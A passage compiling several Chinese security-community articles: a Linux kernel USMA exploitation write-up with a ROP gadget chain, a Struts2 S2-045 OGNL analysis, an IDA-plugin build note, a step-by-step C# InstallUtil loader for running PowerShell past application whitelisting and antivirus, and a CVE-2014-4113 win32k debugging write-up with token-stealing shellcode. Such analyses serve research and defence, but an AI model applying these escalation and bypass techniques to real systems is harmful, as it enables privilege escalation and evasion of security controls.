124 bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
125 };
通过release函数指针的定义可以看到，pipe_buffer作为函数的第二个参数且pipe_buffer内存内容可以被控制，那么通过以下的gadget来将栈迁移到pipe_buffer上。
push rsi; jmp qword ptr [rsi + 0x39];
pop rsp; pop r15; ret;
add rsp, 0xd0; ret;
pop rdi; ret; // 0
prepare_kernel_cred;
pop rcx; ret; // 0
test ecx, ecx; jne 0xd8ab5b; ret;
mov rdi, rax; jne 0x798d21; xor eax, eax; ret;
commit_creds;
mov rsp, rbp; pop rbp; ret;
可以看到上述的gadgets十分复杂，要是在不同的内核版本中编写通用的exploit的话，工作量会非常大。
## USMA
USMA这个利用方法的原理，其实来自于这个漏洞本身。如之前所说的，为了加速数据在用户态和内核态的传输，packet
socket可以创建一个共享环形缓冲区，这个环形缓冲区通过alloc_pg_vec()创建。
/net/packet/af_packet.c
4291 static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
4292 {
4293 unsigned int block_nr = req->tp_block_nr;
4294 struct pgv *pg_vec;
4295 int i;
4296
4297 pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);
4301 for (i = 0; i < block_nr; i++) {
4302 pg_vec[i].buffer = alloc_one_pg_vec_page(order);
4305 }
4308 return pg_vec;
4314 }
可以看到pg_vec实际上是一个保存着连续物理页的虚拟地址的数组，而这些虚拟地址会被packet_mmap()函数所使用，packet_mmap()将这些内核虚拟地址代表的物理页映射进用户态（行4502），这样普通用户就能在用户态对这些物理页直接进行读写。
/net/packet/af_packet.c
4458 static int packet_mmap(file, sock, vma)
4460 {
4491 for (rb = &po->rx_ring; rb <= &po->tx_ring; rb++) {
4495 for (i = 0; i < rb->pg_vec_len; i++) {
4496 struct page *page;
4497 void *kaddr = rb->pg_vec[i].buffer;
4500 for (pg_num = 0; pg_num < rb->pg_vec_pages; pg_num++) {
4501 page = pgv_to_page(kaddr);
4502 err = vm_insert_page(vma, start, page);
4503 if (unlikely(err))
4504 goto out;
4505 start += PAGE_SIZE;
4506 kaddr += PAGE_SIZE;
4507 }
4508 }
4509 }
4517 return err;
4518 }
如果通过漏洞将存储在pg_vec的虚拟地址进行覆写，更改为内核代码段的虚拟地址，那么vm_insert_page()就能将内核代码段的内存页插入到用户态的虚拟地址空间中。值得一提的是，vm_insert_page函数实际上调用validate_page_before_insert()函数对传入的page做了校验。
/mm/memory.c
1753 static int validate_page_before_insert(struct page *page)
1754 {
1755 if (PageAnon(page) || PageSlab(page) || page_has_type(page))
1756 return -EINVAL;
1757 flush_dcache_page(page);
1758 return 0;
1759 }
检查page是否为匿名页，是否为Slab子系统分配的页，以及page是否含有type，而内存页的type总共有以下四种。
/include/linux/page-flags.h
718 #define PG_buddy 0x00000080
719 #define PG_offline 0x00000100
720 #define PG_table 0x00000200
721 #define PG_guard 0x00000400
PG_buddy为伙伴系统中的页，PG_offline为内存交换出去的页，PG_table为用作页表的页，PG_guard为用作内存屏障的页。可以看到如果传入的page为内核代码段的页，以上的检查全都可以绕过。
为了避免vm_insert_page()返回err（行4503），必须得控制pg_vec中所有的虚拟地址为合法的可插入的内核态虚拟地址，我们可以使用fuse+setxattr或者ret2dir来控制pg_vec中的所有内存。
在这个漏洞利用中，我们选择将pg_vec中保存的虚拟地址通过漏洞篡改为__sys_setresuid函数所在的内核代码段页的虚拟地址，从而在用户态中对权限校验逻辑进行更改（行659），使得普通用户也能设置自己的uid，从而达到提权的目的。
/kernel/sys.c
631 long __sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)
632 {
659 if (!ns_capable_setid(old->user_ns, CAP_SETUID)) {
660 if (ruid != (uid_t) -1 && !uid_eq(kruid, old->uid) &&
661 !uid_eq(kruid, old->euid) && !uid_eq(kruid, old->suid))
662 goto error;
663 if (euid != (uid_t) -1 && !uid_eq(keuid, old->uid) &&
664 !uid_eq(keuid, old->euid) && !uid_eq(keuid, old->suid))
665 goto error;
666 if (suid != (uid_t) -1 && !uid_eq(ksuid, old->uid) &&
667 !uid_eq(ksuid, old->euid) && !uid_eq(ksuid, old->suid))
668 goto error;
669 }
694 }
最后，可以在alloc_pg_vec()中看到，block_nr是用户传入的，那么pg_vec的大小也是用户可控的（行4297），这就意味着pg_vec可以占据不同大小的slab，从而将各种堆上的问题转化为对内核代码段进行覆写。
## 总结
通过USMA这种方式，我们可以大幅提高利用编写的效率，对漏洞要求大大降低，克服了gadget可获得性限制，并且绕过现有的最新的CFI缓解措施。
* * * | 社区文章 |
Author: **LJ(知道创宇404安全实验室)**
Date: 2017-03-14
### 0x00 概述
凌晨12点，Struts2 官方发布了 S2-045 的漏洞公告，仔细阅读描述，发现是友商安恒的 Nike Zheng
小伙伴提交的，所以赶紧跟进分析了一把。
### 0x01 漏洞场景还原
首先，我们获取最新的 `Struts2` 源代码，并编译出存在漏洞环境的 `demo` ，这里我选择了官方教程推荐的 `struts2-showcase`
, 具体操作指令如下：
git clone https://github.com/apache/Struts.git
cd Struts
git checkout STRUTS_2_5_10
mvn package
国内的网络，你懂的...，最后在 `apps/showcase/target` 目录下生成了 `struts2-showcase.war` 文件，将其拷贝至
tomcat 的webapps 目录下，为了输入方便，这里将文件名重命名为 `showcase.war` 。启动tomcat，访问
http://localhost:8080/showcase/ 可以看到漏洞环境的界面如下：
下面是使用网上流出 `PoC` 的关键部分打一下看到的效果：
从上面的效果图可以看出：
* 发起请求的时候并不需要找到具体的上传点，只要是有效的 `URL` 就可以
* 发起请求不需要 `POST` 方法也可以触发，因为 `curl` 默认发起请求就是 `GET`
### 0x02 漏洞分析
先进入刚才获取到的 Struts 源代码目录，并查看diff后的代码，具体操作如下：
git diff STRUTS_2_5_10 STRUTS_2_5_10_1 > s2-45.diff
在去除了一些配置和测试文件信息后，下面这部份代码引起了笔者的注意：
从删除的代码上可以看出专门对 `validation` 做了不为空的校验，进一步跟进 `LocalizedTextUtil` 的 `findText`
函数，发现这个函数被重载：
在392行代码中 `ActionContext` 中获取了 `ValueStack`
，这里可以简单认为是从请求的上下文环境当中获取了所有的数据，然后调用重载的下一个 `findText` ，在729行代码中看到
`TextParseUtil` 类对 `valueStack` 做了转换处理，做进一步的跟进，具体代码如下：
`translateVariables` 的多次调用后，最终调用了第152行的 `translateVariables`
函数，根据此函数的注释，就是在这里做了由值到对象并执行的转换，最终触发漏洞。
但是这里有一个问题，就是具体是在哪里触发的漏洞，这个是由 Struts2 的机制引起的，在 struts2
的框架当中，内置了许多的拦截器，主要用于对框架的功能扩展，此次漏洞的 `FileUploadInterceptor` 就是对框架文件上传的功能扩展。
### 0x03 动态分析
在进一步的跟进调试前，我们先梳理下 Struts2 整体的框架结构，以便于理解 request 请求流转的过程，这里借用 `struts`
官方的设计架构图，并做个整体架构的简述：
我们先不看 `Struts2` 自带的蓝色核心部分，可以看到 `request` 请求大部分都是在浅黄色的过滤器和绿色的拦截器中间流转。
在有了具体的业务逻辑需要后台处理时，需要将 `request` 发送到对应的 `Action` 来处理，图中画的是 `FilterDispatcher`
，但在 `Struts 2.5` 以上已经将这个换成了 `StrutsPrepareAndExecuteFilter` 。
看到上图，去除 `Struts2`自带的核心部分，可以看到大部分的过程都是在过滤器和拦截器中间流转，而且对流转的`Action`并没有加以区分。
简单来说，过滤器对所有的请求都起到作用，主要用来对请求添加，修改或者分派转发至`Action`处理业务逻辑，图中的`FilterDispatcher`
就是起到这个作用的。
拦截器能对配置文件中匹配的 `request` 进行处理，并能获取 `request` 当中的上下文环境及数据。
我们先来对 `FileUploadInterceptor` 下断点来调试：
其中第264行是对错误的`request`进行验证处理，我们跟进`findText` 看一下：
这里 `request` 获取`ValueStack`对象,我们可以看到 `defaultMessage` 的值如下图：
进一步跟进 `findText` 函数，就发现这个函数被重载了。重载的函数始于448行，然后是循环操作。跳出循环单步跟进到573行，我们发现这里又调用了
`GetdefaultMessage` 方法：
于是继续跟进 `GetDefaultMessage`方法并定位到729行：
接着跟进 `translateVariables` 方法，`expression` 就是传入的错误信息：
注意到上图使用了
`ognl` 的`"$"` 与 `"%"`标签，两者都能告诉执行环境 `${}` 或 `%{}` 中的内容为`ognl表达式`。`PoC`中使用的是
`"%"`,使用 `"$"` 也能触发漏洞。
再次跟进`translateVariables`方法，在这里提取出`ognl`表达式并调用`evaluate`方法执行。
最后程序在 `parser` 的`evaluate`方法中执行了 `ognl`表达式。
综上，漏洞触发后程序的调用栈先后顺序如下：
1.intercept:264,FileUploadInterceptor 文件上传拦截器处理报错信息
2.findText:393,LocalizedTextUtil
3.findText:573,LocalizedTextUtil 提取封装的Action中的值栈
4.getDefaultMessage:729,LocalizedTextUtil 值到对象转换
5.translateVariables:45,TextParseUtil
6.translateVariables:123,TextParseUtil
7.translateVariables:166,TextParseUtil 提取出ognl表达式并执行
8.evaluate:13,OgnlTextParser 最后执行ognl表达式
### 0x04 总结
回顾struts2历史RCE漏洞，形成原因与`ognl`表达式执行相关的漏洞层出不穷。 当阅读这些历史漏洞的分析文章时，有些作者以
”这里竟然执行了ognl表达式“ 这句话对漏洞点进行吐槽。 然而这次的漏洞成因则更为奇怪，解析出错误信息的`ognl`表达式并执行。
最后，当动态调试此类漏洞时，前往 `ognl`表达式执行的方法处下断点调试，马上就能一目了然的看到漏洞触发的完整调用栈。
### 0x05 参考链接
* <https://cwiki.apache.org/confluence/display/WW/S2-045>
* <https://github.com/apache/Struts.git>
* <https://struts.apache.org/docs/the-struts-2-request-flow.html>
* * * | 社区文章 |
# 在OSX上编译非osx ida pro插件
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://www.surrendercontrol.com/2016/01/compiling-non-osx-ida-pro-plugins-on-os.html>
译文仅供参考，具体内容表达以及含义原文为准。
爱因斯坦曾经说过:一遍又一遍地做同一件事情,以期待得到不同的结果。
最近,我发现越来越多的人喜欢在OS X平台上使用IDA
Pro(交互式反汇编器专业版,是一个世界顶级的交互式反汇编工具)了,所以我决定对这款编译软件的主题文件进行研究和测试。在研究过程中,我发现了一款名为[IDASkins](https://github.com/zyantific/IDASkins)的主题,大家可以看到,github代码库中已经有大量预编译完成的Windows版IDA主题,但是却没有能够适用于OS
X平台的。
在OS
X平台上,IDASkins中的cmake文件标明的是“未测试”,实际上,这些编译文件是存在一些问题的。在此,认为还需要给大家介绍一下有关cmake的内容。CMake是一个跨平台的安装(编译)工具,可以用简单的语句来描述所有平台的安装(编译过程)。他能够输出各种各样的makefile或者project文件,能测试编译器所支持的C++特性,类似UNIX下的automake。Cmake
并不会直接建构出最终的软件,而是产生标准的建构档(如 Unix 的 Makefile 或 Windows Visual C++ 的
projects/workspaces),然后再依一般的建构方式使用。这使得熟悉某个集成开发环境(IDE)的开发者可以用标准的方式建构他的软件,这种可以使用各平台的原生建构系统的能力是
CMake 和 SCons 等其他类似系统的区别之处。
在我对文件进行了一些修改之后,编译文件就能够正常工作了。但是其中还有一个插件(适用于IDA
64位)在运行过程中却一直会崩溃,我也不知道为什么:)。我甚至对32位的ARM处理器进行了分析, 却仍然没有办法找到原因,但一个插件也已经足够我使用了。
在整个编译过程中,我们需要的信息可以在github中的这个库([gist](https://gist.github.com/agelastic/bfb3d8c3d00f7a93ea99))中获取到。它可以对IDA的操作界面进行修改,如果苹果公司能够对cmake编译文件提供更好的支持,那么这些插件肯定能够运行得更好!
适用于32位OS X IDA Pro 6.8的插件链接地址如下:
[https://drive.google.com/file/d/0BwfeEfhaN–RMTRBdzRnTldsTk0/view?usp=sharing](https://drive.google.com/file/d/0BwfeEfhaN
--RMTRBdzRnTldsTk0/view?usp=sharing)
除此之外,当我在编译插件时,我还发现了两个适用于6.8版本IDA
Pro的WWDC插件(预编译完成)。在对插件源代码进行编译的过程中,我们并没有多少便捷的方法,我们只能将其放入IDA
SDK的“插件”目录下,然后对其进行编译。 | 社区文章 |
# 禁用了PowerShell又如何？看我如何用PowerShell绕过应用白名单、环境限制、以及杀毒软件
|
##### 译文声明
本文是翻译文章，文章来源：blackhillsinfosec
原文地址：<http://www.blackhillsinfosec.com/?p=5257>
译文仅供参考，具体内容表达以及含义原文为准。
**温故而知新**
在之前的[文章](http://www.blackhillsinfosec.com/?p=5226)中，我们讨论了如何通过Casey Smith（[@
subTee](http://www.twitter.com/subTee)）设计出的方法来绕过反病毒软件和应用白名单。这一次，我们的测试条件将变得更为苛刻。用于测试的目标系统中不仅设置有反病毒软件和应用白名单，而且还禁用了PowerShell和命令行工具（cmd.exe）。在测试的过程中，我们也遇到了各种各样的问题，我们将在这篇文章中讨论这些问题和测试过程中所发生的意外情况。
现在，越来越多的公司开始逐渐意识到，普通用户其实根本就不需要使用命令行工具（cmd.exe）、PowerShell、以及其他一些看起来比较高大上的工具。我们也发现，禁用这些高级工具也是保护系统安全的一种非常好的实践方法。
如果你看过我们出的《[Sacred Cash Cow
Tipping](https://www.youtube.com/watch?v=DzC8jJ0ESJ0)》系列视频，那么你应该还记得我当时设计出了一种能够在C#程序中执行Invoke-Shellcode.ps1文件的方法。实际上，你只需要直接将这个Invoke-Shellcode.ps1文件中的代码全部放在一行，然后将该文件的所有内容嵌入到C#程序的一个字符串变量中就可以了。你将会得到一个独立的可执行文件，它可以生成一个Meterpreter
Shell，并且可以绕过目前绝大多数的反病毒产品。
**写在前面的话**
那么，刚才所介绍的那些内容与我们这篇文章有半毛钱关系吗？当然有了，不然我
介绍来干嘛。实际上，我们只需要将刚才这一概念稍微扩展一下，就可以轻松地在一个禁用了PowerShell的环境中执行任意的PowerShell脚本了。
我们应该怎么做呢？从本质上来讲，C#和PowerShell其实都是运行在.Net框架之上的高级实现。这也就意味着，我们可以通过C#可执行程序直接调用.Net框架开放给PowerShell的那部分功能。如果你愿意的话，你可以编写一个C#程序，然后用它来实现PowerShell脚本的所有功能。
**少说话，多做事**
准备工作已经做得差不多了，让我们开始动手实现吧！首先，在你的Windows桌面上用记事本创建一个新的文本文件，然后将其重命名为Program.cs。好吧..其实随便你取什么名字都可以，这只是个不成熟的小建议。创建完成之后，用NotePad++之类的文本编辑器打开它。现在，我们需要在文件的顶部写入下列声明语句，并引入我们所要使用到的某些功能：
using System;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Management.Automation.Runspaces;
为了确保我们的程序能够编译成功，我们还需要定义一个类，并在这个类中添加一个Main()方法。通常情况下，我们的程序都会从这个Main()函数那里开始执行。需要注意的是，这个类的类名必须与我们的文件名（Program.cs）相同。将下列代码添加到资源声明语句的下方：
public class Program
{
public static void Main()
{
}
}
接下来，我们要定义程序真正的入口函数了。请注意，我们需要使用InstallUtil.exe工具来运行我们的程序，而不是直接用鼠标左键双击运行。我就不卖关子了，正是这一技巧将帮助我们绕过应用白名单的限制。
为了完成我们的目标，我定义了一个名为“Sample”的类，并让它继承Installer类。然后，我还声明了一个名为“Uninstall”的方法，这个方法就是我们程序真正的入口函数。所以，我们的程序所要执行的第一个任务就是调用这个名为“Exec”的方法（Exec()是Mycode类中的一个方法）。除此之外，我们还要在这个类的上方添加一条声明语句，用来表示这个类需要在程序的安装过程中被调用执行。在Program.cs文件的底部添加下列代码：
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Mycode.Exec();
}
}
我们所要写的最后一部分代码就是去定义一个Mycode类，然后在这个类中添加一个名为“Exec”的方法。这个方法可以根据用户提供的文件路径读入一个PowerShell脚本，脚本路径定义在符号@“”的双引号之中。在我的测试环境中，我的PowerShell脚本存储路径为“C:UsersfmcDesktopPowerUp.ps1”，接下来的代码用来设置PowerShell脚本在执行过程中所要使用到的变量和参数。
最后，在pipeline.Invoke()函数被调用之后，也就意味着我们的PowerShell脚本被执行了。将下列代码添加到Program.cs文件的末尾处：
public class Mycode
{
public static void Exec()
{
string command = System.IO.File.ReadAllText(@"C:UsersfmcDesktopPowerUp.ps1");
RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg);
rspace.Open();
Pipeline pipeline = rspace.CreatePipeline();
pipeline.Commands.AddScript(command);
pipeline.Invoke();
}
}
Program.cs文件完整的代码如下所示：
using System;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Management.Automation.Runspaces;
public class Program
{
public static void Main()
{
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Mycode.Exec();
}
}
public class Mycode
{
public static void Exec()
{
string command = System.IO.File.ReadAllText(@"C:UsersfmcDesktopPowerUp.ps1");
RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg);
rspace.Open();
Pipeline pipeline = rspace.CreatePipeline();
pipeline.Commands.AddScript(command);
pipeline.Invoke();
}
}
在这个例子中，我使用到了Veil-Framework的PowerUp脚本，你可以在PowerShell的命令行工具中执行下列命令，然后将运行结果保存到一个文件中：
Import-Module PowerUp.ps1
Invoke-AllChecks -Verbose | Out-File C:UsersfmcDesktopallchecks.txt
为了保证这个方法能够正确地调用我们所需的函数，我们还需要在脚本的末尾调用一个显式函数。打开PowerUp.ps1脚本，然后在脚本文件的底部添加下列函数调用语句，请一定要确保语句中的Out-File参数设置正确。保存文件，并退出编辑器。
Invoke-AllChecks -Verbose | Out-File C:UsersfmcDesktopallchecks.txt
现在，我们需要使用csc.exe工具来对我们的程序进行编译。下面这段命令可以编译我们的Program.cs文件，并生成一个名为“powerup.exe”的可执行文件：
C:WindowsMicrosoft.NETFramework64v2.0.50727csc.exe
/r:C:WindowsassemblyGAC_MSILSystem.Management.Automation1.0.0.0_
31bf3856ad364e35System.Management.Automation.dll /unsafe /platform:anycpu
/out:C:UsersfmcDesktoppowerup.exe C:UsersfmcDesktopProgram.cs
请等一下，不是说好了cmd.exe已经被禁用了吗？别担心，打开你的资源管理器，然后切换到下面这个目录：
C:WindowsMicrosoft.NETFramework64v2.0.50727
鼠标右键点击csc.exe程序，然后在弹出菜单中选择“创建快捷方式”。点击之后，系统会弹出一个提示框，提示信息会告诉你不能在这里创建快捷方式，如果你一定要的话，系统可以帮你在桌面创建一个快捷方式。
现在，请回到系统桌面。鼠标右键点击csc.exe程序的快捷方式，然后在菜单中选择“属性”。
在属性窗口的“快捷方式”那一栏中，用下列信息替换掉“目标（T）”中的全部内容（请确保文件名和其他的信息是正确的）：
C:WindowsMicrosoft.NETFramework64v2.0.50727csc.exe
/r:C:WindowsassemblyGAC_MSILSystem.Management.Automation1.0.0.0_
31bf3856ad364e35System.Management.Automation.dll /unsafe /platform:anycpu
/out:C:UsersfmcDesktoppowerup.exe
设置完成之后，点击“应用”，然后关闭“属性”窗口。我们刚刚所做的就是设置csc.exe运行时所需的参数。我们在这里之所以没有设置Program.cs程序的文件路径，主要是因为如下两个原因：（1）主要原因是“目标（T）”这一栏有最大字符数量的限制，如果我们将Program.cs文件的完整路径添加进去的话，肯定会超过其所能接受的最大字符长度；（2）我们可以直接将Program.cs文件拖拽到csc.exe快捷方式上，csc.exe程序将会自动加载Program.cs文件。
现在，直接将我们的Program.cs文件拖拽到桌面的csc.exe图标上，程序会自动编译该文件。如果不出什么意外的话，桌面上应该会出现一个名为“powerup.exe”的文件。那么恭喜你，即便是在不使用命令行工具或者Visual
Studio的情况下，你依然成功地编译好了一个C#程序了！
最后，我们需要使用InstallUtil.exe来运行我们的程序，这一步骤与csc.exe程序的使用方法差不多。切换到下面这个目录：
C:WindowsMicrosoft.NETFramework64v2.0.50727
其他步骤基本相同，但是请注意，InstallUtil.exe快捷方式中的“目标（T）”这一栏数据需要用下列信息替换：
C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe
/logfile=C:UsersfmcDesktoplog.txt /LogToConsole=false /U
点击“应用”，然后关闭窗口。
请回到桌面，将powerup.exe程序拖到InstallUtil程序的快捷方式上。
现在，当脚本开始运行后，屏幕上应该会显示一个命令行界面。但是，当你打开任务管理器之后，你就会发现cmd.exe并不在当前运行的进程列表中，列表中只有一个InstallUtil.exe。
我们可以在命令行工具中输入下列命令来确认进程信息：
wmic process list full > Desktopsave.txt
在对“wmic”命令的输出数据进行了分析之后，我们发现InstallUtil.exe其实是通过explorer.exe调用的，而并非是cmd.exe。
如果不出意外的话，当脚本执行完毕后，你的桌面上将会出现一个名为“allchecks.txt”的文件，打开文件你就可以看到PowerUp.ps1的输出信息了。
**总结**
在这篇文章中，我介绍了一种能够在启用了应用白名单，并且禁用了powershell.exe和cmd.exe的环境下执行PowerShell脚本的方法。但是，在实际的使用过程中，你还应该注意以下几点：
1\. 确保你的脚本没有使用Write-Host；
2\. 这种方法有可能会导致程序发生崩溃；
3\. 建议使用Write-Output或者Out-File；
4\. 如果你的脚本需要用户交互的话，建议使用-Force选项；
以上就是我们今天的全部内容，不知道大家是否满意呢？提醒大家一下，这种方法同样可以用来绕过反病毒软件，我们将会在下一期的教程中一步一步教大家如何操作，请大家持续关注安全客！ | 社区文章 |
# 【技术分享】经典内核漏洞调试笔记
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **k0pwn_ko**
****](http://bobao.360.cn/member/contribute?uid=1353169030)
**稿费：800RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆 ** ** ** **[
**网页版**](http://bobao.360.cn/contribute/index)********** **在线投稿**
**前言**
内核漏洞对我来说一直是一个坎，记得两年前，刚刚接触二进制漏洞的时候，当时今天的主角刚刚出现，当时调试这个漏洞的时候，整个内心都是崩溃的，最近我重温了一下这个漏洞，发现随着自己学习进步，对整个内核漏洞分析的过程也变的越来越清晰，而且在这个内核漏洞的调试过程中发现了一些很有意思的调试细节，因此想把自己的这个调试笔记分享出来，希望能和大家多多交流，也能有更多的进步。
今天的主角就是CVE-2014-4113，这个win32k.sys下的内核漏洞是一个非常经典的内核漏洞，它无论在Exploit利用，内核漏洞的形成原因，可以说是教科书式的，非常适合对内核漏洞感兴趣的小伙伴入门分析。
**另一种方法定位漏洞**
内核漏洞分析是一个比较复杂的过程，其实无论对于内核态漏洞还是软件态漏洞，都需要通过对补丁，或者PoC，或者Exploit进行阅读，通过对源码的分析可以了解到很多和漏洞有关的细节，所以这次我们也要阅读一下关于CVE-2014-4113的Exp，从中获取一些信息。
LRESULT CALLBACK ShellCode(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
PEPROCESS pCur, pSys ;
fpLookupProcessById((HANDLE)dwCurProcessId, &pCur);
fpLookupProcessById((HANDLE)dwSystemProcessId, &pSys);
#ifdef _WIN64
*(PVOID *)((ULONG_PTR)pCur + dwTokenOffset) = *(PVOID *)((ULONG_PTR)pSys + dwTokenOffset);
#else
*(PVOID *)((DWORD)pCur + dwTokenOffset) = *(PVOID *)((DWORD)pSys + dwTokenOffset);
#endif
return 0 ;
}
在源码分析过程中，我们关注Shellcode函数中的代码片段，可以看到Shellcode做了一件事情，就是针对32位系统和64位系统，会将当前系统的系统进程句柄psys，加上token的偏移赋值给当前用户进程的token，而这种手法也是现在Windows提权中一个非常好用的方法。
众所周知，Exploit一般不会影响软件或者系统的正常运行，而会执行Shellcode中的恶意代码，在我们没有PoC来引发软件或者系统异常的情况下，往往会通过Shellcode中的一些关键步骤的跟踪来接近漏洞的触发位置。
那么在这个过程中我们就用上面的Shellcode来跟踪这个漏洞。首先我们来说一下_EPROCESS结构体，这个结构体包含着当前进程的很多信息，这个过程我们可以通过!process
0 0的方法来得到。当然这个命令只有在内核态才能使用，我们通常通过Windbg远程调试的方法来完成。
可以看到，通过!process 0 0的方法获取到的system进程的句柄位置在0x867c6660，接下来我们来看一下我们执行的Exploit进程位置。
当前Exploit的地址是0x86116bb0，这两个地址就是_EPROCESS结构体的地址，下面我们来看一下这个结构体的内容。
可以看到，偏移+0x0c8位置存放的就是Token，而结合上面分析的Shellcode的内容，Token就是进行替换提权的关键位置。
实际上提权时，就是用0xe10007b3这个系统进程的Token，替换当前用户进程的0xe116438c这个Token，这也是下断点的一个重要依据，通过下条件断点，可以跟踪到当前进程句柄的变化情况。
ba w1 86116c78 ".printf "TOKEN CHANGE TO: [%08x]\n",poi(86116c78);.if(poi(86116c78)==0xe10007b3){;}.else{g;}"
跟踪到00411f88位置的时候，程序中断，也是这时候当前进程句柄被替换，同时回溯到堆栈调用情况。
当前堆栈调用展示了整个内核漏洞发生问题的过程，我们需要关注这个回溯过程，在后面的分析中需要用到，也由此我们定位了漏洞触发的关键流程，为后续的分析提供了依据。
kd> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
9b5f7a24 81ff94f3 fffffffb 000001ed 014cfd14 0x1301448
9b5f7a64 81ff95c5 fffffffb 000001ed 014cfd14 win32k!xxxSendMessageTimeout+0x1ac
9b5f7a8c 820792fb fffffffb 000001ed 014cfd14 win32k!xxxSendMessage+0x28
9b5f7aec 82078c1f 9b5f7b0c 00000000 014cfd14 win32k!xxxHandleMenuMessages+0x582
9b5f7b38 8207f8f1 fdf37168 8215f580 00000000 win32k!xxxMNLoop+0x2c6
9b5f7ba0 8207f9dc 0000001c 00000000 ffffd8f0 win32k!xxxTrackPopupMenuEx+0x5cd
9b5f7c14 828791ea 004601b5 00000000 ffffd8f0 win32k!NtUserTrackPopupMenuEx+0xc3
在接下来的调试分析中，由于ASLR的关系，导致有些关键函数地址基址不太一样，不过不影响我们的调试。
**一些有趣的调试细节**
关于这个漏洞分析，其实网上有相当多非常详细的分析，这里我就不再做具体分析了，网上的方法多数都是通过Exploit正向分析，而通过Shellcode定位这种方法，可以用回溯的方法分析整个漏洞的形成过程，可能更加便捷，各有优劣。关于这个漏洞的分析，我不再详述，只是在调试过程中发现一些有趣的调试细节，想拿出来和大家一起分享。
首先我大概说一下这个漏洞的形成过程，在创建弹出菜单的时候会产生一个1EB的消息，因为SendMessage的异步调用，截断1EB消息，然后通过钩子销毁菜单，返回一个0xffffffb的方法，在随后的SendMessageTimeout函数中会调用这个返回值，作为函数调用，而在之前的if语句判断中没有对这个返回值进行有效的检查，当我们通过0页的分配，往0x5b地址位置存入Shellcode地址，这样就会在Ring0态执行应用层代码，导致提权。
那么在这个过程中，有一些有意思的地方，第一个是消息钩子截获1EB消息，并且返回0xfffffffb，第二个就是在SendMessageTimeout中在Ring0层执行应用层Shellcode代码的过程。
首先在调用xxxTrackPopupMenuEx的时候会销毁窗口，这个过程中会调用SendMessage，实际上，在SendMessage调用的时候，是分为同步和异步两种方式，两种方式的调用也有所不同，先看看同步，调用相对简单。
SendMessage (同线程)
SendMessageWorker
UserCallWinProcCheckWow
InternalCallWinProc
WndProc
但是当异步调用的时候，情况就相对复杂了，而我们的提权也正是利用了异步的方法，用消息钩子来完成的，首先来看看异步调用的情况。
SendMessage (异线程)
SendMessageWorker
NtUserMessageCall (user mode/kernel mode切换)
EnterCrit
NtUserfnINSTRINGNULL (WM_SETTEXT)
RtlInitLargeUnicodeString
xxxWrapSendMessage (xParam = 0)
xxxSendMessageTimeout (fuFlags = SMTO_NORMAL, uTimeout = 0, lpdwResult = NULL)
⋯⋯
xxxReceiveMessage
xxxSendMessageToClient
sysexit (kernel mode进入user mode)
⋯⋯
UserCallWinProcCheckWow
InternalCallWinProc
WndProc
XyCallbackReturn
int 2b (user mode返回kernel mode)
这里有很关键的两处调用，一个在sysexit，在这个调用的时候，会从内核态进入用户态，也就是说在消息钩子执行的时候，通过这个调用会进入钩子的代码逻辑中，而当应用层代码逻辑执行结束后，会调用int
2b这个软中断，从用户态切换回内核态，这个过程就是通过消息钩子完成的，而正是利用这个钩子，在钩子中销毁窗口并且返回在整个提权过程中至关重要的0xfffffffb。
首先在HandleMenuMessages－>MNFindWindowFromPoint之后会进入SendMessage中处理，这个时候通过安装的钩子会截获到1EB消息。
源码中钩子的部分。
lpPrevWndFunc = (WNDPROC)SetWindowLongA( pWndProcArgs->hwnd,
GWL_WNDPROC,
(LONG)NewWndProc ) ; // LONG
LRESULT CALLBACK NewWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if(uMsg != 0x1EB)
{
return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam) ;
}
EndMenu() ;
return (DWORD)(-5) ; // DWORD
}
来看一下动态调试的过程，通过之前对异步SendMessage函数的调用关系可以看到异步调用会进入SendMessageTimeout函数处理，跟入这个函数通过回溯看到函数调用关系。
kd> p
win32k!xxxSendMessageTimeout+0x8:
967e934f 56 push esi
kd> p
win32k!xxxSendMessageTimeout+0x9:
967e9350 57 push edi
kd> p
win32k!xxxSendMessageTimeout+0xa:
967e9351 8b7d20 mov edi,dword ptr [ebp+20h]
kd> kb
ChildEBP RetAddr Args to Child
a216ca1c 967e95c5 fea0e878 000001eb a216ca98 win32k!xxxSendMessageTimeout+0xa
a216ca44 968695f6 fea0e878 000001eb a216ca98 win32k!xxxSendMessage+0x28
a216ca90 96868e16 fde80a68 a216cafc 00000000 win32k!xxxMNFindWindowFromPoint+0x58
a216caec 96868c1f a216cb0c 9694f580 00000000 win32k!xxxHandleMenuMessages+0x9e
随后我们单步跟踪，在SendMessageTimeout函数中找到调用SendMessageToClient函数。
kd> p
win32k!xxxSendMessageTimeout+0x1c9:
967e9510 56 push esi
kd> p
win32k!xxxSendMessageTimeout+0x1ca:
967e9511 e81aaaffff call win32k!xxxSendMessageToClient (967e3f30)
通过IDA pro分析这个函数，在LABLE_16位置调用了一个叫sfn的函数，这个sfn的函数就是负责进入用户态的。
LABEL_16:
result = SfnDWORD(v17, v18, v19, (int)v20, v21, v22, v23, v24);
